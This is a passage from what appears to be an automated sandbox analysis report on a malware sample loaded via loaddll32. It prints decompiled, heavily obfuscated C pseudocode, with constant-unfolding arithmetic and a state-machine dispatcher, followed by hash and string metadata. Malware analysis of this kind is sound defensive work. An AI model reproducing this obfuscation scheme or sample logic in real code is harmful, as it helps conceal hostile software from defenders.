				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				unsigned int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				signed int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				void* _t761;
				void* _t763;
				void* _t772;
				void* _t780;
				intOrPtr _t792;
				void* _t795;
				signed int _t797;
				void* _t808;
				signed int _t814;
				signed int _t815;
				signed int _t816;
				signed int _t817;
				signed int _t818;
				signed int _t819;
				signed int _t820;
				signed int _t821;
				signed int _t822;
				signed int _t823;
				signed int _t824;
				signed int _t825;
				signed int _t826;
				signed int _t827;
				signed int _t828;
				void* _t829;
				void* _t832;
				void* _t889;
				void* _t913;
				void* _t916;
				intOrPtr _t917;
				void* _t921;
				signed int* _t923;
				void* _t925;

				_t923 =  &_v392;
				_v200 = 0x89ca81;
				_v200 = _v200 * 0x5d;
				_t921 = 0;
				_v200 = _v200 ^ 0xaf9dd6ae;
				_t808 = 0xf774147;
				_v200 = _v200 ^ 0xd0d10238;
				_v340 = 0x7031b3;
				_v340 = _v340 << 9;
				_v340 = _v340 + 0xdab9;
				_v76 = __ecx;
				_t814 = 0x5e;
				_v340 = _v340 / _t814;
				_v340 = _v340 ^ 0x02631bed;
				_v344 = 0x913049;
				_v344 = _v344 >> 6;
				_v344 = _v344 + 0xffffeb40;
				_v344 = _v344 >> 9;
				_v344 = _v344 ^ 0x00000118;
				_v208 = 0xd820b3;
				_t815 = 0x11;
				_v208 = _v208 * 0x75;
				_v208 = _v208 / _t815;
				_v208 = _v208 ^ 0x05cf77a2;
				_v264 = 0x2d7b5a;
				_v264 = _v264 >> 3;
				_t816 = 0x60;
				_v264 = _v264 / _t816;
				_v264 = _v264 ^ 0x00000f29;
				_v228 = 0x9ea28;
				_v228 = _v228 >> 4;
				_v228 = _v228 << 3;
				_v228 = _v228 ^ 0x0004f510;
				_v212 = 0xfc5601;
				_t817 = 0x65;
				_v212 = _v212 * 0x23;
				_v212 = _v212 ^ 0x83bd7763;
				_v212 = _v212 ^ 0xa1c2b540;
				_v216 = 0xc9f780;
				_v216 = _v216 >> 0xd;
				_v216 = _v216 << 0xa;
				_v216 = _v216 ^ 0x00193c00;
				_v100 = 0xa15ef3;
				_v100 = _v100 + 0xcfb3;
				_v100 = _v100 ^ 0x00a22ea6;
				_v128 = 0x732cc;
				_v128 = _v128 ^ 0x331cc4bd;
				_v128 = _v128 ^ 0x331bf671;
				_v260 = 0x567154;
				_v260 = _v260 + 0x98f2;
				_v260 = _v260 | 0x07205bc1;
				_v260 = _v260 ^ 0x07775bc7;
				_v296 = 0xb824e0;
				_v296 = _v296 ^ 0x4344e171;
				_v296 = _v296 << 5;
				_v296 = _v296 << 9;
				_v296 = _v296 ^ 0x31644000;
				_v392 = 0xb375bd;
				_v392 = _v392 / _t817;
				_v392 = _v392 + 0x740b;
				_v392 = _v392 ^ 0x46953f20;
				_v392 = _v392 ^ 0x469705e9;
				_v380 = 0x6f0fc1;
				_v380 = _v380 + 0x682a;
				_v380 = _v380 << 0x10;
				_t818 = 0x35;
				_v380 = _v380 / _t818;
				_v380 = _v380 ^ 0x02448a90;
				_v232 = 0xb7f463;
				_v232 = _v232 >> 2;
				_t819 = 0x16;
				_v232 = _v232 / _t819;
				_v232 = _v232 ^ 0x000b0aa6;
				_v184 = 0x1e2afb;
				_v184 = _v184 << 1;
				_v184 = _v184 ^ 0x0039344d;
				_v272 = 0xd60a24;
				_v272 = _v272 >> 0x10;
				_v272 = _v272 << 8;
				_v272 = _v272 ^ 0x0007d834;
				_v88 = 0xccda6;
				_v88 = _v88 | 0xd009f965;
				_v88 = _v88 ^ 0xd00eb16a;
				_v160 = 0x116f8;
				_v160 = _v160 << 1;
				_v160 = _v160 ^ 0x00010446;
				_v332 = 0xe14840;
				_v332 = _v332 + 0xe9af;
				_v332 = _v332 << 5;
				_t820 = 0x52;
				_v332 = _v332 * 5;
				_v332 = _v332 ^ 0x8d5f04ba;
				_v112 = 0x9b5594;
				_v112 = _v112 + 0x8c2;
				_v112 = _v112 ^ 0x009353c4;
				_v152 = 0xaad272;
				_v152 = _v152 + 0xa340;
				_v152 = _v152 ^ 0x00a74a81;
				_v224 = 0xfde353;
				_v224 = _v224 >> 0xd;
				_v224 = _v224 * 0x71;
				_v224 = _v224 ^ 0x0000f406;
				_v372 = 0x10fd3f;
				_v372 = _v372 / _t820;
				_v372 = _v372 * 0x26;
				_v372 = _v372 ^ 0x900c513e;
				_v372 = _v372 ^ 0x9009d373;
				_v192 = 0x9bc28f;
				_v192 = _v192 ^ 0x8daa98a9;
				_v192 = _v192 >> 2;
				_v192 = _v192 ^ 0x234acdcf;
				_v256 = 0x6a542c;
				_v256 = _v256 << 6;
				_v256 = _v256 + 0xcf70;
				_v256 = _v256 ^ 0x1a90167c;
				_v308 = 0xb0ac3a;
				_v308 = _v308 + 0xffff0ba4;
				_v308 = _v308 >> 7;
				_v308 = _v308 ^ 0x7a292cfc;
				_v308 = _v308 ^ 0x7a298d34;
				_v352 = 0x7fa15;
				_v352 = _v352 << 8;
				_v352 = _v352 + 0x42c8;
				_v352 = _v352 ^ 0x420546d7;
				_v352 = _v352 ^ 0x45f279ac;
				_v172 = 0x3c10dc;
				_v172 = _v172 + 0x934c;
				_v172 = _v172 ^ 0x003c5902;
				_v252 = 0x8e9148;
				_t821 = 0x3d;
				_v252 = _v252 * 0x15;
				_v252 = _v252 >> 8;
				_v252 = _v252 ^ 0x0000fb60;
				_v164 = 0x57b7bf;
				_v164 = _v164 * 0x65;
				_v164 = _v164 ^ 0x2299a995;
				_v336 = 0xdc0eaf;
				_v336 = _v336 << 3;
				_v336 = _v336 + 0xdead;
				_v336 = _v336 + 0x5890;
				_v336 = _v336 ^ 0x06efbc16;
				_v148 = 0x5f891c;
				_v148 = _v148 + 0xe952;
				_v148 = _v148 ^ 0x00699f2d;
				_v156 = 0xb9bdf1;
				_v156 = _v156 * 0x30;
				_v156 = _v156 ^ 0x22d92b94;
				_v328 = 0xdd275a;
				_v328 = _v328 ^ 0xf9c8fd87;
				_v328 = _v328 | 0xb4ffffed;
				_v328 = _v328 ^ 0xfdf2704c;
				_v220 = 0xdc69da;
				_v220 = _v220 / _t821;
				_v220 = _v220 ^ 0xf70c1774;
				_v220 = _v220 ^ 0xf706e836;
				_v236 = 0xe3f700;
				_v236 = _v236 << 6;
				_v236 = _v236 | 0x5d8b8659;
				_v236 = _v236 ^ 0x7dfec952;
				_v132 = 0xe887ef;
				_t822 = 7;
				_v132 = _v132 / _t822;
				_v132 = _v132 ^ 0x0024c858;
				_v140 = 0xc58056;
				_v140 = _v140 >> 5;
				_v140 = _v140 ^ 0x0004a47e;
				_v244 = 0x7835a9;
				_v244 = _v244 >> 5;
				_v244 = _v244 + 0xffff434e;
				_v244 = _v244 ^ 0x000b19d5;
				_v124 = 0x628bac;
				_v124 = _v124 >> 0x10;
				_v124 = _v124 ^ 0x000d99ba;
				_v196 = 0x3c4d43;
				_v196 = _v196 << 0xe;
				_v196 = _v196 ^ 0x3d5f35f5;
				_v196 = _v196 ^ 0x2e03dce1;
				_v204 = 0x3d8ce2;
				_v204 = _v204 + 0x9c91;
				_v204 = _v204 ^ 0x7a1df218;
				_v204 = _v204 ^ 0x7a210bc9;
				_v188 = 0x2b0ddf;
				_v188 = _v188 >> 0xe;
				_v188 = _v188 >> 0xf;
				_v188 = _v188 ^ 0x00037781;
				_v312 = 0x266488;
				_t823 = 0x3c;
				_v312 = _v312 / _t823;
				_v312 = _v312 >> 2;
				_v312 = _v312 + 0xffff0572;
				_v312 = _v312 ^ 0xffff9b33;
				_v320 = 0xbcf7b8;
				_t824 = 0x39;
				_v320 = _v320 * 0x6b;
				_v320 = _v320 * 0x26;
				_v320 = _v320 / _t824;
				_v320 = _v320 ^ 0x034e55e7;
				_v364 = 0xfcda34;
				_v364 = _v364 + 0xdb03;
				_v364 = _v364 >> 6;
				_v364 = _v364 + 0xabad;
				_v364 = _v364 ^ 0x000f61ab;
				_v92 = 0x2a2b0e;
				_v92 = _v92 + 0x4979;
				_v92 = _v92 ^ 0x0021c920;
				_v144 = 0xa1e216;
				_v144 = _v144 + 0xffff5ff5;
				_v144 = _v144 ^ 0x00ad0a84;
				_v356 = 0xcae231;
				_v356 = _v356 >> 0xc;
				_v356 = _v356 | 0xfd8e10ca;
				_t825 = 0x72;
				_v356 = _v356 * 0x5c;
				_v356 = _v356 ^ 0x1f1c568f;
				_v324 = 0x253eae;
				_v324 = _v324 >> 2;
				_v324 = _v324 | 0xf8fd8aec;
				_v324 = _v324 + 0x754e;
				_v324 = _v324 ^ 0xf8f18caa;
				_v240 = 0xb94b94;
				_v240 = _v240 + 0xffff03b1;
				_v240 = _v240 + 0xc1ea;
				_v240 = _v240 ^ 0x00b636b6;
				_v248 = 0x665da;
				_v248 = _v248 / _t825;
				_v248 = _v248 ^ 0xe7146895;
				_v248 = _v248 ^ 0xe71d8416;
				_v136 = 0xf03201;
				_v136 = _v136 | 0x16662734;
				_v136 = _v136 ^ 0x16f8276c;
				_v348 = 0xf58dc;
				_v348 = _v348 | 0xcefb25f5;
				_v348 = _v348 ^ 0xb79d248d;
				_v348 = _v348 * 5;
				_v348 = _v348 ^ 0x5ee99df0;
				_v292 = 0x1bda;
				_v292 = _v292 ^ 0xf0c300cc;
				_v292 = _v292 | 0x62eaa242;
				_v292 = _v292 ^ 0x0fb5f6bf;
				_v292 = _v292 ^ 0xfd545b0a;
				_v388 = 0x7e987;
				_v388 = _v388 | 0xe51d24f3;
				_v388 = _v388 << 1;
				_v388 = _v388 | 0xd459dc12;
				_v388 = _v388 ^ 0xde72c5d1;
				_v168 = 0x6f1542;
				_v168 = _v168 >> 0xb;
				_v168 = _v168 ^ 0x00095e82;
				_v316 = 0xeb0c05;
				_v316 = _v316 * 0x34;
				_v316 = _v316 ^ 0x9a011e6d;
				_v316 = _v316 + 0xffffdd41;
				_v316 = _v316 ^ 0xb5bd4b4c;
				_v108 = 0x4384da;
				_v108 = _v108 << 7;
				_v108 = _v108 ^ 0x21ca9036;
				_v376 = 0x26f029;
				_v376 = _v376 | 0x5c3fc44f;
				_v376 = _v376 * 0x5e;
				_v376 = _v376 << 0xa;
				_v376 = _v376 ^ 0xef0e7155;
				_v120 = 0xfb00c8;
				_t826 = 0x70;
				_v120 = _v120 / _t826;
				_v120 = _v120 ^ 0x0007bcc6;
				_v104 = 0x83a54a;
				_v104 = _v104 + 0xffff432b;
				_v104 = _v104 ^ 0x008e71dd;
				_v384 = 0x2ff4f3;
				_v384 = _v384 | 0xd0f2a060;
				_v384 = _v384 << 0xc;
				_t827 = 0x63;
				_v384 = _v384 * 0x15;
				_v384 = _v384 ^ 0xf17b8b1a;
				_v284 = 0x7bc7d6;
				_v284 = _v284 | 0xfb469b5d;
				_v284 = _v284 >> 0x10;
				_v284 = _v284 ^ 0x000029d1;
				_v276 = 0xc7b492;
				_v276 = _v276 ^ 0xda7fe355;
				_v276 = _v276 ^ 0xf789276a;
				_v276 = _v276 ^ 0x2d34b316;
				_v280 = 0xc4b066;
				_v280 = _v280 + 0x2d4a;
				_v280 = _v280 ^ 0x79b35fac;
				_v280 = _v280 ^ 0x79759ff7;
				_v360 = 0x6bdb51;
				_v360 = _v360 << 4;
				_v360 = _v360 >> 7;
				_v360 = _v360 / _t827;
				_v360 = _v360 ^ 0x0009f0c5;
				_v180 = 0xdedf2a;
				_t828 = 0x4a;
				_v180 = _v180 * 0x51;
				_v180 = _v180 ^ 0x46824d47;
				_v368 = 0xc3e69e;
				_v368 = _v368 + 0xffff984d;
				_v368 = _v368 * 0x6d;
				_v368 = _v368 * 0x79;
				_v368 = _v368 ^ 0x57d87162;
				_v300 = 0x54bd4a;
				_v300 = _v300 | 0xb63244a0;
				_v300 = _v300 + 0x417e;
				_v300 = _v300 | 0x63a11be6;
				_v300 = _v300 ^ 0xf7f931f3;
				_v268 = 0xbea848;
				_v268 = _v268 >> 9;
				_v268 = _v268 | 0x5eb62668;
				_v268 = _v268 ^ 0x5eb9ee94;
				_v96 = 0x440258;
				_v96 = _v96 >> 0x10;
				_v96 = _v96 ^ 0x0009723b;
				_v176 = 0x3b19f4;
				_v176 = _v176 / _t828;
				_v176 = _v176 ^ 0x0001c2c1;
				_v116 = 0x144365;
				_v116 = _v116 | 0x65ecb7a2;
				_v116 = _v116 ^ 0x65f0ee99;
				_v288 = 0xea5434;
				_v288 = _v288 >> 1;
				_v288 = _v288 | 0xb6140203;
				_v288 = _v288 >> 9;
				_v288 = _v288 ^ 0x0050b8a2;
				_v304 = 0x566331;
				_t916 = 0x8e3f5ae;
				_v304 = _v304 >> 4;
				_t913 = 0xf1618c3;
				_v304 = _v304 >> 9;
				_v304 = _v304 >> 5;
				_v304 = _v304 ^ 0x000acbce;
				_v72 = 0x20;
				while(1) {
					L1:
					_t829 = 0xfce4db5;
					_t761 = 0x8c7d07e;
					_t889 = 0x74c5c61;
					do {
						while(1) {
							L2:
							_t925 = _t808 - _t916;
							if(_t925 <= 0) {
								break;
							}
							__eflags = _t808 - _t913;
							if(_t808 == _t913) {
								E007A2CF9(_v116, _v288, _v296, _v304, _v84);
								_t923 =  &(_t923[3]);
								_t808 = 0x3abff5b;
								goto L24;
							} else {
								__eflags = _t808 - 0xf774147;
								if(__eflags == 0) {
									_t808 = 0x77e61bb;
									continue;
								} else {
									__eflags = _t808 - _t829;
									if(__eflags == 0) {
										_push(0x7a1648);
										_t917 = E007C0AD3(_v352, _v172, __eflags);
										 *_t923 = 0x7a1678;
										_t795 = E007C0AD3(_v252, _v164, __eflags);
										_v64 = _v344;
										_t797 = E007AF14F(_v336, _t917, _v148, _v156);
										_v56 = _v56 & 0x00000000;
										_v60 = _t917;
										_v52 = 1;
										_v68 = 2 + _t797 * 2;
										_v48 =  &_v68;
										_v80 = _v72;
										__eflags = E007A386E(_v328,  &_v80, _v220, _v228, _v236,  &_v32, _v132,  &_v56, _v76, _v140, _v244, _v72, _t795) - _v212;
										_t808 =  ==  ? 0x74c5c61 : 0xf1618c3;
										E007B2EED(_v124, _v196, _v204, _t917);
										_t923 =  &(_t923[0x10]);
										E007B2EED(_v188, _v312, _v320, _t795);
										L11:
										_t913 = 0xf1618c3;
										L12:
										_t916 = 0x8e3f5ae;
										L24:
										_t761 = 0x8c7d07e;
										_t829 = 0xfce4db5;
										_t889 = 0x74c5c61;
									}
								}
							}
							goto L25;
						}
						if(_t925 == 0) {
							_t763 = E007C0AD3(_v316, _v108, __eflags);
							_t832 = 0x7a1708;
							_t918 = _t763;
							_v44 = _v200;
							_v40 = _v340;
							_v36 = _v392;
							_t772 = E007BC50B(_v376, _v84,  *((intOrPtr*)( *0x7c5be0 + 0xc)), _t832, _v120, _v104,  *0x7c5be0 + 0x70, _t832, _v128,  &_v44,  *((intOrPtr*)( *0x7c5be0 + 8)), _v384, _t763, _v284, _v276, _v280);
							_t923 =  &(_t923[0xe]);
							__eflags = _t772 - _v260;
							if(_t772 != _v260) {
								_t808 = 0x88fbe98;
							} else {
								_t808 = _t913;
								_t921 = 1;
							}
							E007B2EED(_v360, _v180, _v368, _t918);
							goto L12;
						} else {
							if(_t808 == _t889) {
								_push(0x7a1618);
								__eflags = E007A5894(_v144,  *0x7c5be0 + 0xc, _v356,  &_v80, _v324, _v240, E007C0AD3(_v364, _v92, __eflags), _v216, _v248, _v84) - _v100;
								_t808 =  ==  ? 0x8c7d07e : _t913;
								E007B2EED(_v136, _v348, _v292, _t774);
								_t923 =  &(_t923[0xb]);
								goto L12;
							} else {
								if(_t808 == 0x77e61bb) {
									_push(0x7a1738);
									_t780 = E007C0AD3(_v380, _v232, __eflags);
									 *_t923 = 0x7a15c8;
									__eflags = E007A92DD(_t780, _v208, _v88,  &_v84, E007C0AD3(_v184, _v272, __eflags), _v160, _v332, _v112) - _v264;
									_t808 =  ==  ? 0xfce4db5 : 0x3abff5b;
									E007B2EED(_v152, _v224, _v372, _t780);
									E007B2EED(_v192, _v256, _v308, _t781);
									_t923 =  &(_t923[0xb]);
									goto L11;
								} else {
									if(_t808 == 0x88fbe98) {
										E007AF699(_v300,  *((intOrPtr*)( *0x7c5be0 + 8)), _v268, _v96, _v176);
										_t923 =  &(_t923[3]);
										_t808 = _t913;
										goto L1;
									} else {
										if(_t808 == _t761) {
											_push(_t829);
											_t792 = E007B6F53( *((intOrPtr*)( *0x7c5be0 + 0xc)));
											_t808 =  !=  ? _t916 : _t913;
											 *((intOrPtr*)( *0x7c5be0 + 8)) = _t792;
											while(1) {
												L1:
												_t829 = 0xfce4db5;
												_t761 = 0x8c7d07e;
												_t889 = 0x74c5c61;
												goto L2;
											}
										}
									}
								}
							}
						}
						L25:
						__eflags = _t808 - 0x3abff5b;
					} while (__eflags != 0);
					return _t921;
				}
			}

0x007bf561
0x007bf567
0x007bf580
0x007bf587
0x007bf589
0x007bf594
0x007bf599
0x007bf5a4
0x007bf5ac
0x007bf5b1
0x007bf5bf
0x007bf5c6
0x007bf5cb
0x007bf5d1
0x007bf5d9
0x007bf5e1
0x007bf5e6
0x007bf5ee
0x007bf5f3
0x007bf5fb
0x007bf60e
0x007bf611
0x007bf623
0x007bf62a
0x007bf635
0x007bf640
0x007bf64f
0x007bf654
0x007bf65d
0x007bf668
0x007bf673
0x007bf67b
0x007bf683
0x007bf68e
0x007bf6a1
0x007bf6a2
0x007bf6a9
0x007bf6b4
0x007bf6bf
0x007bf6ca
0x007bf6d2
0x007bf6da
0x007bf6e5
0x007bf6f0
0x007bf6fb
0x007bf706
0x007bf711
0x007bf71c
0x007bf727
0x007bf732
0x007bf73d
0x007bf748
0x007bf753
0x007bf75b
0x007bf763
0x007bf768
0x007bf76d
0x007bf775
0x007bf783
0x007bf787
0x007bf791
0x007bf799
0x007bf7a1
0x007bf7a9
0x007bf7b1
0x007bf7bc
0x007bf7c1
0x007bf7c7
0x007bf7cf
0x007bf7da
0x007bf7e9
0x007bf7ee
0x007bf7f7
0x007bf802
0x007bf80d
0x007bf814
0x007bf81f
0x007bf82a
0x007bf832
0x007bf83a
0x007bf845
0x007bf850
0x007bf85b
0x007bf866
0x007bf871
0x007bf878
0x007bf883
0x007bf88b
0x007bf893
0x007bf89d
0x007bf89e
0x007bf8a2
0x007bf8aa
0x007bf8b5
0x007bf8c0
0x007bf8cb
0x007bf8d6
0x007bf8e1
0x007bf8ec
0x007bf8f7
0x007bf907
0x007bf90e
0x007bf919
0x007bf927
0x007bf930
0x007bf934
0x007bf93c
0x007bf944
0x007bf94f
0x007bf95a
0x007bf962
0x007bf96d
0x007bf978
0x007bf980
0x007bf98b
0x007bf996
0x007bf99e
0x007bf9a6
0x007bf9ab
0x007bf9b3
0x007bf9bb
0x007bf9c3
0x007bf9c8
0x007bf9d0
0x007bf9d8
0x007bf9e0
0x007bf9ed
0x007bf9f8
0x007bfa03
0x007bfa18
0x007bfa1b
0x007bfa22
0x007bfa2a
0x007bfa35
0x007bfa48
0x007bfa4f
0x007bfa5a
0x007bfa62
0x007bfa67
0x007bfa6f
0x007bfa77
0x007bfa7f
0x007bfa8a
0x007bfa95
0x007bfaa0
0x007bfab3
0x007bfaba
0x007bfac5
0x007bfacd
0x007bfad5
0x007bfadd
0x007bfae5
0x007bfafb
0x007bfb02
0x007bfb0d
0x007bfb18
0x007bfb23
0x007bfb2b
0x007bfb36
0x007bfb41
0x007bfb53
0x007bfb58
0x007bfb61
0x007bfb6c
0x007bfb77
0x007bfb7f
0x007bfb8a
0x007bfb95
0x007bfb9d
0x007bfba8
0x007bfbb3
0x007bfbbe
0x007bfbc6
0x007bfbd1
0x007bfbdc
0x007bfbe4
0x007bfbef
0x007bfbfa
0x007bfc05
0x007bfc10
0x007bfc1b
0x007bfc26
0x007bfc31
0x007bfc39
0x007bfc41
0x007bfc4c
0x007bfc58
0x007bfc5b
0x007bfc5f
0x007bfc64
0x007bfc6c
0x007bfc74
0x007bfc85
0x007bfc88
0x007bfc91
0x007bfc9d
0x007bfca1
0x007bfca9
0x007bfcb1
0x007bfcb9
0x007bfcbe
0x007bfcc6
0x007bfcce
0x007bfcd9
0x007bfce4
0x007bfcef
0x007bfcfa
0x007bfd05
0x007bfd10
0x007bfd18
0x007bfd1d
0x007bfd2a
0x007bfd2b
0x007bfd2f
0x007bfd37
0x007bfd3f
0x007bfd44
0x007bfd4c
0x007bfd54
0x007bfd5c
0x007bfd67
0x007bfd72
0x007bfd7d
0x007bfd88
0x007bfd9c
0x007bfda3
0x007bfdae
0x007bfdb9
0x007bfdc4
0x007bfdcf
0x007bfdda
0x007bfde2
0x007bfdea
0x007bfdf7
0x007bfdfb
0x007bfe03
0x007bfe0b
0x007bfe13
0x007bfe1b
0x007bfe23
0x007bfe2b
0x007bfe33
0x007bfe3b
0x007bfe3f
0x007bfe47
0x007bfe4f
0x007bfe5a
0x007bfe62
0x007bfe6d
0x007bfe7a
0x007bfe7e
0x007bfe86
0x007bfe8e
0x007bfe96
0x007bfea1
0x007bfea9
0x007bfeb4
0x007bfebc
0x007bfec9
0x007bfecf
0x007bfed4
0x007bfedc
0x007bfef0
0x007bfef5
0x007bfefe
0x007bff09
0x007bff14
0x007bff1f
0x007bff2a
0x007bff32
0x007bff3a
0x007bff44
0x007bff47
0x007bff4b
0x007bff53
0x007bff5e
0x007bff69
0x007bff71
0x007bff7c
0x007bff87
0x007bff92
0x007bff9d
0x007bffa8
0x007bffb3
0x007bffbe
0x007bffc9
0x007bffd4
0x007bffdc
0x007bffe1
0x007bffee
0x007bfff2
0x007bfffa
0x007c000d
0x007c000e
0x007c0015
0x007c0020
0x007c0028
0x007c0035
0x007c003e
0x007c0042
0x007c004a
0x007c0052
0x007c005a
0x007c0062
0x007c006a
0x007c0072
0x007c007d
0x007c0085
0x007c0090
0x007c009b
0x007c00a6
0x007c00ae
0x007c00b9
0x007c00cd
0x007c00d4
0x007c00df
0x007c00ea
0x007c00f5
0x007c0100
0x007c0108
0x007c010c
0x007c0114
0x007c0119
0x007c0121
0x007c0129
0x007c012e
0x007c0133
0x007c0138
0x007c013d
0x007c0142
0x007c014a
0x007c0155
0x007c0155
0x007c0155
0x007c015a
0x007c015f
0x007c0164
0x007c0164
0x007c0164
0x007c0164
0x007c0166
0x00000000
0x00000000
0x007c0411
0x007c0413
0x007c0597
0x007c059c
0x007c059f
0x00000000
0x007c0419
0x007c0419
0x007c041f
0x007c0570
0x00000000
0x007c0425
0x007c0425
0x007c0427
0x007c0438
0x007c0449
0x007c0452
0x007c0459
0x007c046d
0x007c047f
0x007c0485
0x007c0494
0x007c04a2
0x007c04ad
0x007c04bb
0x007c04d1
0x007c052c
0x007c0549
0x007c054c
0x007c0551
0x007c0564
0x007c02a2
0x007c02a2
0x007c02a7
0x007c02a7
0x007c05a4
0x007c05a4
0x007c05a9
0x007c05ae
0x007c05ae
0x007c0427
0x007c041f
0x00000000
0x007c0413
0x007c016c
0x007c034f
0x007c0354
0x007c0355
0x007c035e
0x007c0369
0x007c037b
0x007c03d8
0x007c03dd
0x007c03e0
0x007c03e7
0x007c03f0
0x007c03e9
0x007c03eb
0x007c03ed
0x007c03ed
0x007c0405
0x00000000
0x007c0172
0x007c0174
0x007c02bc
0x007c0315
0x007c032f
0x007c0332
0x007c0337
0x00000000
0x007c017a
0x007c0180
0x007c01fc
0x007c0201
0x007c0216
0x007c0262
0x007c027c
0x007c027f
0x007c029a
0x007c029f
0x00000000
0x007c0182
0x007c0188
0x007c01e2
0x007c01e7
0x007c01ea
0x00000000
0x007c018a
0x007c018c
0x007c01a3
0x007c01a7
0x007c01b8
0x007c01bb
0x007c0155
0x007c0155
0x007c0155
0x007c015a
0x007c015f
0x00000000
0x007c015f
0x007c0155
0x007c018c
0x007c0188
0x007c0180
0x007c0174
0x007c05b3
0x007c05b3
0x007c05b3
0x007c05cb
0x007c05cb

Strings

~A, xrefs: 007C005A
yI, xrefs: 007BFCD9
J-, xrefs: 007BFFB3
M49, xrefs: 007BF814
@H, xrefs: 007BF883
,Tj, xrefs: 007BF96D
, xrefs: 007C014A
qDC, xrefs: 007BF75B
1cV, xrefs: 007C0121
(, xrefs: 007BF668
Nu, xrefs: 007BFD4C
R, xrefs: 007BFA8A
TqV, xrefs: 007BF727
*h, xrefs: 007BF7A9
4T, xrefs: 007C0100
;r, xrefs: 007C00AE
CM<, xrefs: 007BFBD1

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: $($*h$,Tj$1cV$4T$;r$@H$CM<$J-$M49$Nu$R$TqV$qDC$yI$~A
API String ID: 0-1702946932
Opcode ID: 6efbab1ed8771df013ee115c7cf1e16b9faff0ae9ac5aee00b1f54108ce76139
Instruction ID: 907ffe1c973b61eacbb5c966f6adfe54b16ebade8c92dbd5a270f7c5b94c315e
Opcode Fuzzy Hash: 6efbab1ed8771df013ee115c7cf1e16b9faff0ae9ac5aee00b1f54108ce76139
Instruction Fuzzy Hash: A582EEB1509380DBD3B8CF65C58AB8BBBE1BBC5704F10891DE1DA86260DBB59949CF42

Uniqueness

Uniqueness Score: -1.00%

Function 007AC69B, Relevance: 20.7, Strings: 16, Instructions: 715
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E007AC69B(intOrPtr* __ecx) {
				char _v68;
				char _v76;
				void* _v88;
				intOrPtr _v92;
				intOrPtr* _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				char _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				signed int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				signed int _v408;
				signed int _v412;
				signed int _v416;
				signed int _v420;
				void* _t802;
				void* _t804;
				void* _t806;
				void* _t813;
				void* _t815;
				void* _t824;
				void* _t825;
				void* _t826;
				void* _t834;
				signed int _t840;
				signed int _t841;
				signed int _t842;
				signed int _t843;
				signed int _t844;
				signed int _t845;
				signed int _t846;
				signed int _t847;
				signed int _t848;
				signed int _t849;
				signed int _t850;
				signed int _t851;
				signed int _t852;
				signed int _t853;
				signed int _t854;
				signed int _t855;
				signed int _t856;
				signed int _t857;
				signed int _t858;
				signed int _t859;
				signed int _t860;
				signed int _t861;
				void* _t862;
				char _t876;
				void* _t895;
				void* _t970;
				signed int _t973;
				void* _t974;
				signed int _t976;
				void* _t977;
				void* _t981;
				signed int* _t982;
				void* _t985;

				_t982 =  &_v420;
				_v92 = 0x21aaea;
				_v96 = __ecx;
				asm("stosd");
				_t840 = 0x27;
				asm("stosd");
				_t981 = 0;
				_t834 = 0x28b91dd;
				asm("stosd");
				_v276 = 0xea4201;
				_v276 = _v276 / _t840;
				_v276 = _v276 >> 9;
				_v276 = _v276 ^ 0x00000300;
				_v216 = 0x33fbfd;
				_v216 = _v216 + 0xffff15bd;
				_v216 = _v216 ^ 0x003311ba;
				_v348 = 0x23ac56;
				_t841 = 7;
				_v348 = _v348 * 0x70;
				_v348 = _v348 >> 0xa;
				_v348 = _v348 << 5;
				_v348 = _v348 ^ 0x007cdb20;
				_v152 = 0xc392ed;
				_v152 = _v152 | 0x3cac8e62;
				_v152 = _v152 ^ 0x3cef9eef;
				_v120 = 0xdb52e;
				_v120 = _v120 | 0x021edf72;
				_v120 = _v120 ^ 0x021fff7e;
				_v140 = 0x716289;
				_v140 = _v140 / _t841;
				_v140 = _v140 ^ 0x001032a5;
				_v404 = 0x901eee;
				_v404 = _v404 | 0xb1deeda2;
				_v404 = _v404 << 0x10;
